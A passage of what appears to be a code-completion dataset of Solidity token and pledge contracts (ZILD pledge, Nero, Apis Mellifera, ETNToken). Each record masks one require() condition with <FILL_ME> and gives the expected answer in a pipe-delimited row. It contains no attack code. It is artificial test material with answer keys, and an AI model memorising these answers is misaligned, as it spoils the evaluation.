uint256 public pledgeBlockChange = 0;
uint256 public changePledgeTime;
bool public needChangeTime = false;
uint256 public burnCount = 0;
uint256 public totalPledge;
mapping(address => PledgeInfo[]) public zild_pledge;
mapping(address => uint256) public user_pledge_amount;
event SetPledgeBlock(uint256 pblock,address indexed who,uint256 time);
event EffectPledgeBlock(uint256 pblock,address indexed who,uint256 time);
event WithdrawZILD(address indexed to,uint256 pamount,uint256 time);
event NeedBurnPledge(address indexed to,uint256 pleid,uint256 pamount);
event BurnPledge(address indexed from,uint256 pleid,uint256 pamount);
event PledgeZILD(address indexed from,uint256 pleid,uint256 pamount,uint256 bblock,uint256 eblock,uint256 time);
constructor(address _zild) public {
}
function setpledgeblock(uint256 _block) public onlyAdmin {
}
function effectblockchange() public onlyAdmin {
}
function burn(uint256 _amount) public onlyAdmin returns(bool) {
}
function pledgeZILD(uint256 _amount) public returns(uint256){
}
function invalidPledge(address _user, uint256 _id) public onlyDev {
require(<FILL_ME>)
zild_pledge[_user][_id].isValid = false;
}
function validPledge(address _user, uint256 _id) public onlyAdmin{
}
function pledgeCount(address _user) view public returns(uint256) {
}
function pledgeAmount(address _user) view public returns(uint256) {
}
function clearInvalidOrder(address _user, uint256 _pledgeId) public onlyAdmin{
}
function withdrawZILD(uint256 _pledgeId) public returns(bool){
}
}
| zild_pledge[_user].length>_id | 18,838 | zild_pledge[_user].length>_id |
"The withdrawal pledge has been breached!" | // SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable {
address public owner;
address public newowner;
address public admin;
address public dev;
constructor() public {
}
modifier onlyOwner {
}
modifier onlyNewOwner {
}
function transferOwnership(address _newOwner) public onlyOwner {
}
function takeOwnership() public onlyNewOwner {
}
function setAdmin(address _admin) public onlyOwner {
}
function setDev(address _dev) public onlyOwner {
}
modifier onlyAdmin {
}
modifier onlyDev {
}
}
abstract contract ContractConn{
function transfer(address _to, uint _value) virtual public;
function transferFrom(address _from, address _to, uint _value) virtual public;
function balanceOf(address who) virtual public view returns (uint);
function burn(uint256 _value) virtual public returns(bool);
}
contract Pledge is Ownable {
using SafeMath for uint256;
struct PledgeInfo {
uint256 id;
address pledgeor;
string coinType;
uint256 amount;
uint256 pledgeTime;
uint256 pledgeBlock;
uint256 ExpireBlock;
bool isValid;
}
ContractConn public zild;
uint256 public pledgeBlock = 90000;
uint256 public pledgeBlockChange = 0;
uint256 public changePledgeTime;
bool public needChangeTime = false;
uint256 public burnCount = 0;
uint256 public totalPledge;
mapping(address => PledgeInfo[]) public zild_pledge;
mapping(address => uint256) public user_pledge_amount;
event SetPledgeBlock(uint256 pblock,address indexed who,uint256 time);
event EffectPledgeBlock(uint256 pblock,address indexed who,uint256 time);
event WithdrawZILD(address indexed to,uint256 pamount,uint256 time);
event NeedBurnPledge(address indexed to,uint256 pleid,uint256 pamount);
event BurnPledge(address indexed from,uint256 pleid,uint256 pamount);
event PledgeZILD(address indexed from,uint256 pleid,uint256 pamount,uint256 bblock,uint256 eblock,uint256 time);
constructor(address _zild) public {
}
function setpledgeblock(uint256 _block) public onlyAdmin {
}
function effectblockchange() public onlyAdmin {
}
function burn(uint256 _amount) public onlyAdmin returns(bool) {
}
function pledgeZILD(uint256 _amount) public returns(uint256){
}
function invalidPledge(address _user, uint256 _id) public onlyDev {
}
function validPledge(address _user, uint256 _id) public onlyAdmin{
}
function pledgeCount(address _user) view public returns(uint256) {
}
function pledgeAmount(address _user) view public returns(uint256) {
}
function clearInvalidOrder(address _user, uint256 _pledgeId) public onlyAdmin{
}
function withdrawZILD(uint256 _pledgeId) public returns(bool){
PledgeInfo memory info = zild_pledge[msg.sender][_pledgeId];
require(block.number > info.ExpireBlock, "The withdrawal block has not arrived!");
require(<FILL_ME>)
zild.transfer(msg.sender,info.amount);
user_pledge_amount[msg.sender] = user_pledge_amount[msg.sender].sub(info.amount);
totalPledge = totalPledge.sub(info.amount);
zild_pledge[msg.sender][_pledgeId].amount = 0;
emit WithdrawZILD(msg.sender,zild_pledge[msg.sender][_pledgeId].amount,now);
return true;
}
}
| info.isValid,"The withdrawal pledge has been breached!" | 18,838 | info.isValid |
null | pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract Nero {
// Public variables of the token
string public name = "Nero";
string public symbol = "NERO";
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default
uint256 public totalSupply;
uint256 public NeroSupply = 5000000000;
uint256 public buyPrice = 19555555;
address public creator;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
event FundTransfer(address backer, uint amount, bool isContribution);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function Nero() public {
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
}
/// @notice Buy tokens from contract by sending ether
function () payable internal {
uint amount = msg.value * buyPrice; // calculates the amount, made it so you can get many BOIS but to get MANY BOIS you have to spend ETH and not WEI
uint amountRaised;
amountRaised += msg.value; //many thanks bois, couldnt do it without r/me_irl
require(<FILL_ME>) // checks if it has enough to sell
balanceOf[msg.sender] += amount; // adds the amount to buyer's balance
balanceOf[creator] -= amount; // sends ETH to NeroCoinMint
Transfer(creator, msg.sender, amount); // execute an event reflecting the change
creator.transfer(amountRaised);
}
}
| balanceOf[creator]>=amount | 18,845 | balanceOf[creator]>=amount |
null | pragma solidity ^0.4.10;
contract ERC20Interface {
uint public totalSupply;
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract Administrable {
address admin;
bool public inMaintenance;
function Administrable() {
}
modifier onlyAdmin() {
}
modifier checkMaintenance() {
require(<FILL_ME>)
_;
}
function setMaintenance(bool inMaintenance_) onlyAdmin {
}
function kill() onlyAdmin {
}
}
contract ApisMelliferaToken is ERC20Interface, Administrable {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public constant name = "Apis Mellifera Token";
string public constant symbol = "APIS";
uint8 public constant decimals = 18;
function balanceOf(address _owner) constant returns (uint256) {
}
function transfer(address _to, uint256 _value) returns (bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
}
function approve(address _spender, uint256 _value) returns (bool success) {
}
function allowance(address _owner, address _spender) constant returns (uint256) {
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function withdraw(uint amount) onlyAdmin {
}
function mint(uint amount) onlyAdmin {
}
function() payable checkMaintenance {
}
}
| !inMaintenance | 18,883 | !inMaintenance |
null | pragma solidity ^0.4.24;
contract IMigrationContract {
function migrate(address addr, uint256 nas) public returns (bool success);
}
/* 灵感来自于NAS coin*/
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal pure returns(uint256) {
}
function safeSubtract(uint256 x, uint256 y) internal pure returns(uint256) {
}
function safeMult(uint256 x, uint256 y) internal pure returns(uint256) {
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/* ERC 20 token */
contract StandardToken is Token {
function transfer(address _to, uint256 _value) public returns (bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
}
function approve(address _spender, uint256 _value) public returns (bool success) {
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract ETNToken is StandardToken, SafeMath {
// metadata
string public constant name = "ETN";
string public constant symbol = "ETN";
uint256 public constant decimals = 18;
string public version = "1.0";
// contracts
address public ethFundDeposit; // ETH存放地址
address public newContractAddr; // token更新地址
// crowdsale parameters
bool public isFunding; // 状态切换到true
uint256 public fundingStartBlock;
uint256 public fundingStopBlock;
uint256 public currentSupply; // 正在售卖中的tokens数量
uint256 public tokenRaised = 0; // 总的售卖数量token
uint256 public tokenMigrated = 0; // 总的已经交易的 token
uint256 public tokenExchangeRate = 300; // 代币兑换比例 N代币 兑换 1 ETH
// events
event AllocateToken(address indexed _to, uint256 _value); // allocate token for private sale;
event IssueToken(address indexed _to, uint256 _value); // issue token for public sale;
event IncreaseSupply(uint256 _value);
event DecreaseSupply(uint256 _value);
event Migrate(address indexed _to, uint256 _value);
// 转换
function formatDecimals(uint256 _value) internal pure returns (uint256 ) {
}
// constructor
constructor(
address _ethFundDeposit,
uint256 _currentSupply) public
{
}
modifier isOwner() { }
/// 设置token汇率
function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external {
}
///增发代币
function increaseSupply (uint256 _value) isOwner external {
uint256 value = formatDecimals(_value);
require(<FILL_ME>)
currentSupply = safeAdd(currentSupply, value);
emit IncreaseSupply(value);
}
///减少代币
function decreaseSupply (uint256 _value) isOwner external {
}
///开启
function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external {
}
///关闭
function stopFunding() isOwner external {
}
///set a new contract for recieve the tokens (for update contract)
function setMigrateContract(address _newContractAddr) isOwner external {
}
///set a new owner.
function changeOwner(address _newFundDeposit) isOwner() external {
}
///sends the tokens to new contract
function migrate() external {
}
/// 转账ETH 到团队
function transferETH() isOwner external {
}
/// 将token分配到预处理地址。
function allocateToken (address _addr, uint256 _eth) isOwner external {
}
/// 购买token
function () public payable {
}
}
| value+currentSupply<=totalSupply | 18,905 | value+currentSupply<=totalSupply |
null | pragma solidity ^0.4.24;
contract IMigrationContract {
function migrate(address addr, uint256 nas) public returns (bool success);
}
/* 灵感来自于NAS coin*/
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal pure returns(uint256) {
}
function safeSubtract(uint256 x, uint256 y) internal pure returns(uint256) {
}
function safeMult(uint256 x, uint256 y) internal pure returns(uint256) {
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/* ERC 20 token */
contract StandardToken is Token {
function transfer(address _to, uint256 _value) public returns (bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
}
function approve(address _spender, uint256 _value) public returns (bool success) {
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract ETNToken is StandardToken, SafeMath {
// metadata
string public constant name = "ETN";
string public constant symbol = "ETN";
uint256 public constant decimals = 18;
string public version = "1.0";
// contracts
address public ethFundDeposit; // ETH存放地址
address public newContractAddr; // token更新地址
// crowdsale parameters
bool public isFunding; // 状态切换到true
uint256 public fundingStartBlock;
uint256 public fundingStopBlock;
uint256 public currentSupply; // 正在售卖中的tokens数量
uint256 public tokenRaised = 0; // 总的售卖数量token
uint256 public tokenMigrated = 0; // 总的已经交易的 token
uint256 public tokenExchangeRate = 300; // 代币兑换比例 N代币 兑换 1 ETH
// events
event AllocateToken(address indexed _to, uint256 _value); // allocate token for private sale;
event IssueToken(address indexed _to, uint256 _value); // issue token for public sale;
event IncreaseSupply(uint256 _value);
event DecreaseSupply(uint256 _value);
event Migrate(address indexed _to, uint256 _value);
// 转换
function formatDecimals(uint256 _value) internal pure returns (uint256 ) {
}
// constructor
constructor(
address _ethFundDeposit,
uint256 _currentSupply) public
{
}
modifier isOwner() { }
/// 设置token汇率
function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external {
}
///增发代币
function increaseSupply (uint256 _value) isOwner external {
}
///减少代币
function decreaseSupply (uint256 _value) isOwner external {
uint256 value = formatDecimals(_value);
require(<FILL_ME>)
currentSupply = safeSubtract(currentSupply, value);
emit DecreaseSupply(value);
}
///开启
function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external {
}
///关闭
function stopFunding() isOwner external {
}
///set a new contract for recieve the tokens (for update contract)
function setMigrateContract(address _newContractAddr) isOwner external {
}
///set a new owner.
function changeOwner(address _newFundDeposit) isOwner() external {
}
///sends the tokens to new contract
function migrate() external {
}
/// 转账ETH 到团队
function transferETH() isOwner external {
}
/// 将token分配到预处理地址。
function allocateToken (address _addr, uint256 _eth) isOwner external {
}
/// 购买token
function () public payable {
}
}
| value+tokenRaised<=currentSupply | 18,905 | value+tokenRaised<=currentSupply |
null | pragma solidity ^0.4.24;
contract IMigrationContract {
function migrate(address addr, uint256 nas) public returns (bool success);
}
/* 灵感来自于NAS coin*/
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal pure returns(uint256) {
}
function safeSubtract(uint256 x, uint256 y) internal pure returns(uint256) {
}
function safeMult(uint256 x, uint256 y) internal pure returns(uint256) {
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/* ERC 20 token */
contract StandardToken is Token {
function transfer(address _to, uint256 _value) public returns (bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
}
function approve(address _spender, uint256 _value) public returns (bool success) {
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract ETNToken is StandardToken, SafeMath {
// metadata
string public constant name = "ETN";
string public constant symbol = "ETN";
uint256 public constant decimals = 18;
string public version = "1.0";
// contracts
address public ethFundDeposit; // ETH存放地址
address public newContractAddr; // token更新地址
// crowdsale parameters
bool public isFunding; // 状态切换到true
uint256 public fundingStartBlock;
uint256 public fundingStopBlock;
uint256 public currentSupply; // 正在售卖中的tokens数量
uint256 public tokenRaised = 0; // 总的售卖数量token
uint256 public tokenMigrated = 0; // 总的已经交易的 token
uint256 public tokenExchangeRate = 300; // 代币兑换比例 N代币 兑换 1 ETH
// events
event AllocateToken(address indexed _to, uint256 _value); // allocate token for private sale;
event IssueToken(address indexed _to, uint256 _value); // issue token for public sale;
event IncreaseSupply(uint256 _value);
event DecreaseSupply(uint256 _value);
event Migrate(address indexed _to, uint256 _value);
// 转换
function formatDecimals(uint256 _value) internal pure returns (uint256 ) {
}
// constructor
constructor(
address _ethFundDeposit,
uint256 _currentSupply) public
{
}
modifier isOwner() { }
/// 设置token汇率
function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external {
}
///增发代币
function increaseSupply (uint256 _value) isOwner external {
}
///减少代币
function decreaseSupply (uint256 _value) isOwner external {
}
///开启
function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external {
require(<FILL_ME>)
require(_fundingStartBlock < _fundingStopBlock);
require(block.number < _fundingStartBlock);
fundingStartBlock = _fundingStartBlock;
fundingStopBlock = _fundingStopBlock;
isFunding = true;
}
///关闭
function stopFunding() isOwner external {
}
///set a new contract for recieve the tokens (for update contract)
function setMigrateContract(address _newContractAddr) isOwner external {
}
///set a new owner.
function changeOwner(address _newFundDeposit) isOwner() external {
}
///sends the tokens to new contract
function migrate() external {
}
/// 转账ETH 到团队
function transferETH() isOwner external {
}
/// 将token分配到预处理地址。
function allocateToken (address _addr, uint256 _eth) isOwner external {
}
/// 购买token
function () public payable {
}
}
| !isFunding | 18,905 | !isFunding |
null | pragma solidity ^0.4.24;
contract IMigrationContract {
function migrate(address addr, uint256 nas) public returns (bool success);
}
/* 灵感来自于NAS coin*/
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal pure returns(uint256) {
}
function safeSubtract(uint256 x, uint256 y) internal pure returns(uint256) {
}
function safeMult(uint256 x, uint256 y) internal pure returns(uint256) {
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/* ERC 20 token */
contract StandardToken is Token {
function transfer(address _to, uint256 _value) public returns (bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
}
function approve(address _spender, uint256 _value) public returns (bool success) {
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract ETNToken is StandardToken, SafeMath {
// metadata
string public constant name = "ETN";
string public constant symbol = "ETN";
uint256 public constant decimals = 18;
string public version = "1.0";
// contracts
address public ethFundDeposit; // ETH存放地址
address public newContractAddr; // token更新地址
// crowdsale parameters
bool public isFunding; // 状态切换到true
uint256 public fundingStartBlock;
uint256 public fundingStopBlock;
uint256 public currentSupply; // 正在售卖中的tokens数量
uint256 public tokenRaised = 0; // 总的售卖数量token
uint256 public tokenMigrated = 0; // 总的已经交易的 token
uint256 public tokenExchangeRate = 300; // 代币兑换比例 N代币 兑换 1 ETH
// events
event AllocateToken(address indexed _to, uint256 _value); // allocate token for private sale;
event IssueToken(address indexed _to, uint256 _value); // issue token for public sale;
event IncreaseSupply(uint256 _value);
event DecreaseSupply(uint256 _value);
event Migrate(address indexed _to, uint256 _value);
// 转换
function formatDecimals(uint256 _value) internal pure returns (uint256 ) {
}
// constructor
constructor(
address _ethFundDeposit,
uint256 _currentSupply) public
{
}
modifier isOwner() { }
/// 设置token汇率
function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external {
}
///增发代币
function increaseSupply (uint256 _value) isOwner external {
}
///减少代币
function decreaseSupply (uint256 _value) isOwner external {
}
///开启
function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external {
}
///关闭
function stopFunding() isOwner external {
}
///set a new contract for recieve the tokens (for update contract)
function setMigrateContract(address _newContractAddr) isOwner external {
}
///set a new owner.
function changeOwner(address _newFundDeposit) isOwner() external {
}
///sends the tokens to new contract
function migrate() external {
require(!isFunding);
require(newContractAddr != address(0x0));
uint256 tokens = balances[msg.sender];
require(tokens != 0);
balances[msg.sender] = 0;
tokenMigrated = safeAdd(tokenMigrated, tokens);
IMigrationContract newContract = IMigrationContract(newContractAddr);
require(<FILL_ME>)
emit Migrate(msg.sender, tokens); // log it
}
/// 转账ETH 到团队
function transferETH() isOwner external {
}
/// 将token分配到预处理地址。
function allocateToken (address _addr, uint256 _eth) isOwner external {
}
/// 购买token
function () public payable {
}
}
| newContract.migrate(msg.sender,tokens) | 18,905 | newContract.migrate(msg.sender,tokens) |
null | pragma solidity ^0.4.24;
contract IMigrationContract {
function migrate(address addr, uint256 nas) public returns (bool success);
}
/* 灵感来自于NAS coin*/
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal pure returns(uint256) {
}
function safeSubtract(uint256 x, uint256 y) internal pure returns(uint256) {
}
function safeMult(uint256 x, uint256 y) internal pure returns(uint256) {
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/* ERC 20 token */
contract StandardToken is Token {
function transfer(address _to, uint256 _value) public returns (bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
}
function approve(address _spender, uint256 _value) public returns (bool success) {
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract ETNToken is StandardToken, SafeMath {
// metadata
string public constant name = "ETN";
string public constant symbol = "ETN";
uint256 public constant decimals = 18;
string public version = "1.0";
// contracts
address public ethFundDeposit; // ETH存放地址
address public newContractAddr; // token更新地址
// crowdsale parameters
bool public isFunding; // 状态切换到true
uint256 public fundingStartBlock;
uint256 public fundingStopBlock;
uint256 public currentSupply; // 正在售卖中的tokens数量
uint256 public tokenRaised = 0; // 总的售卖数量token
uint256 public tokenMigrated = 0; // 总的已经交易的 token
uint256 public tokenExchangeRate = 300; // 代币兑换比例 N代币 兑换 1 ETH
// events
event AllocateToken(address indexed _to, uint256 _value); // allocate token for private sale;
event IssueToken(address indexed _to, uint256 _value); // issue token for public sale;
event IncreaseSupply(uint256 _value);
event DecreaseSupply(uint256 _value);
event Migrate(address indexed _to, uint256 _value);
// 转换
function formatDecimals(uint256 _value) internal pure returns (uint256 ) {
}
// constructor
constructor(
address _ethFundDeposit,
uint256 _currentSupply) public
{
}
modifier isOwner() { }
/// 设置token汇率
function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external {
}
///增发代币
function increaseSupply (uint256 _value) isOwner external {
}
///减少代币
function decreaseSupply (uint256 _value) isOwner external {
}
///开启
function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external {
}
///关闭
function stopFunding() isOwner external {
}
///set a new contract for recieve the tokens (for update contract)
function setMigrateContract(address _newContractAddr) isOwner external {
}
///set a new owner.
function changeOwner(address _newFundDeposit) isOwner() external {
}
///sends the tokens to new contract
function migrate() external {
}
/// 转账ETH 到团队
function transferETH() isOwner external {
require(<FILL_ME>)
require(ethFundDeposit.send(address(this).balance));
}
/// 将token分配到预处理地址。
function allocateToken (address _addr, uint256 _eth) isOwner external {
}
/// 购买token
function () public payable {
}
}
| address(this).balance!=0 | 18,905 | address(this).balance!=0 |
null | pragma solidity ^0.4.24;
contract IMigrationContract {
function migrate(address addr, uint256 nas) public returns (bool success);
}
/* 灵感来自于NAS coin*/
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal pure returns(uint256) {
}
function safeSubtract(uint256 x, uint256 y) internal pure returns(uint256) {
}
function safeMult(uint256 x, uint256 y) internal pure returns(uint256) {
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/* ERC 20 token */
contract StandardToken is Token {
function transfer(address _to, uint256 _value) public returns (bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
}
function approve(address _spender, uint256 _value) public returns (bool success) {
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract ETNToken is StandardToken, SafeMath {
// metadata
string public constant name = "ETN";
string public constant symbol = "ETN";
uint256 public constant decimals = 18;
string public version = "1.0";
// contracts
address public ethFundDeposit; // ETH存放地址
address public newContractAddr; // token更新地址
// crowdsale parameters
bool public isFunding; // 状态切换到true
uint256 public fundingStartBlock;
uint256 public fundingStopBlock;
uint256 public currentSupply; // 正在售卖中的tokens数量
uint256 public tokenRaised = 0; // 总的售卖数量token
uint256 public tokenMigrated = 0; // 总的已经交易的 token
uint256 public tokenExchangeRate = 300; // 代币兑换比例 N代币 兑换 1 ETH
// events
event AllocateToken(address indexed _to, uint256 _value); // allocate token for private sale;
event IssueToken(address indexed _to, uint256 _value); // issue token for public sale;
event IncreaseSupply(uint256 _value);
event DecreaseSupply(uint256 _value);
event Migrate(address indexed _to, uint256 _value);
// 转换
function formatDecimals(uint256 _value) internal pure returns (uint256 ) {
}
// constructor
constructor(
address _ethFundDeposit,
uint256 _currentSupply) public
{
}
modifier isOwner() { }
/// 设置token汇率
function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external {
}
///增发代币
function increaseSupply (uint256 _value) isOwner external {
}
///减少代币
function decreaseSupply (uint256 _value) isOwner external {
}
///开启
function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external {
}
///关闭
function stopFunding() isOwner external {
}
///set a new contract for recieve the tokens (for update contract)
function setMigrateContract(address _newContractAddr) isOwner external {
}
///set a new owner.
function changeOwner(address _newFundDeposit) isOwner() external {
}
///sends the tokens to new contract
function migrate() external {
}
/// 转账ETH 到团队
function transferETH() isOwner external {
require(address(this).balance != 0);
require(<FILL_ME>)
}
/// 将token分配到预处理地址。
function allocateToken (address _addr, uint256 _eth) isOwner external {
}
/// 购买token
function () public payable {
}
}
| ethFundDeposit.send(address(this).balance) | 18,905 | ethFundDeposit.send(address(this).balance) |
null | pragma solidity ^0.4.24;
contract IMigrationContract {
function migrate(address addr, uint256 nas) public returns (bool success);
}
/* 灵感来自于NAS coin*/
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal pure returns(uint256) {
}
function safeSubtract(uint256 x, uint256 y) internal pure returns(uint256) {
}
function safeMult(uint256 x, uint256 y) internal pure returns(uint256) {
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/* ERC 20 token */
contract StandardToken is Token {
function transfer(address _to, uint256 _value) public returns (bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
}
function approve(address _spender, uint256 _value) public returns (bool success) {
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract ETNToken is StandardToken, SafeMath {
// metadata
string public constant name = "ETN";
string public constant symbol = "ETN";
uint256 public constant decimals = 18;
string public version = "1.0";
// contracts
address public ethFundDeposit; // ETH存放地址
address public newContractAddr; // token更新地址
// crowdsale parameters
bool public isFunding; // 状态切换到true
uint256 public fundingStartBlock;
uint256 public fundingStopBlock;
uint256 public currentSupply; // 正在售卖中的tokens数量
uint256 public tokenRaised = 0; // 总的售卖数量token
uint256 public tokenMigrated = 0; // 总的已经交易的 token
uint256 public tokenExchangeRate = 300; // 代币兑换比例 N代币 兑换 1 ETH
// events
event AllocateToken(address indexed _to, uint256 _value); // allocate token for private sale;
event IssueToken(address indexed _to, uint256 _value); // issue token for public sale;
event IncreaseSupply(uint256 _value);
event DecreaseSupply(uint256 _value);
event Migrate(address indexed _to, uint256 _value);
// 转换
function formatDecimals(uint256 _value) internal pure returns (uint256 ) {
}
// constructor
constructor(
address _ethFundDeposit,
uint256 _currentSupply) public
{
}
modifier isOwner() { }
/// 设置token汇率
function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external {
}
///增发代币
function increaseSupply (uint256 _value) isOwner external {
}
///减少代币
function decreaseSupply (uint256 _value) isOwner external {
}
///开启
function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external {
}
///关闭
function stopFunding() isOwner external {
}
///set a new contract for recieve the tokens (for update contract)
function setMigrateContract(address _newContractAddr) isOwner external {
}
///set a new owner.
function changeOwner(address _newFundDeposit) isOwner() external {
}
///sends the tokens to new contract
function migrate() external {
}
/// 转账ETH 到团队
function transferETH() isOwner external {
}
/// 将token分配到预处理地址。
function allocateToken (address _addr, uint256 _eth) isOwner external {
require(_eth != 0);
require(_addr != address(0x0));
